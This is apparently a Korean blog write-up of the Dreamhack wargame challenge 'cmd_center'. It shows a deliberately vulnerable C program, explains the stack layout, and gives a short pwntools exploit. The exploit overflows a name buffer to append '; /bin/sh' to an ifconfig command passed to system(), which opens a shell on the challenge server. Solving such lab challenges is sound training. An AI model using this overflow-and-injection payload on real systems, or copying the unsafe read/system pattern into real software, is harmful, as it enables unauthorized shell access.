[Dreamhack Wargame] cmd_center

don't panic·2023년 12월 12일
0

System Hacking wargame

목록 보기
16/39

code


#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>

void init() {
	setvbuf(stdin, 0, 2, 0);
	setvbuf(stdout, 0, 2, 0);
}

int main()
{

	char cmd_ip[256] = "ifconfig";
	int dummy;
	char center_name[24];

	init();

	printf("Center name: ");
	read(0, center_name, 100);


	if( !strncmp(cmd_ip, "ifconfig", 8)) {
		system(cmd_ip);
	}

	else {
		printf("Something is wrong!\n");
	}
	exit(0);
}

checksec

exploit 설계


  • 두개 이상의 명령어를 사용할 때 우리는 ;을 붙여서 한 줄에 실행한다. 이를 이용해 ifconfig/bin/sh를 동시에 보내면 되겠다.
  • cmd_ipcentername은 둘 다 main의 지역변수 이므로 인접하다.
  • 따라서 cmd_ipifconfig로 유지하면서 ifconfig; /bin/sh로 만들면 될 것 같다.
  • centername[rbp-0x130] 이고
    ifconfig[rbp-0x110]이다.
  • 따라서 centername을 read할 때 b'A' * 0x20 + b'ifconfig; /bin/sh\x00'으로 보내면 되겠다!

exploit


from pwn import *

p = remote('host3.dreamhack.games', 17003)

payload = b'A' * 0x20 + b'ifconfig; /bin/sh'
p.sendafter(b'name: ', payload)

p.interactive()

0개의 댓글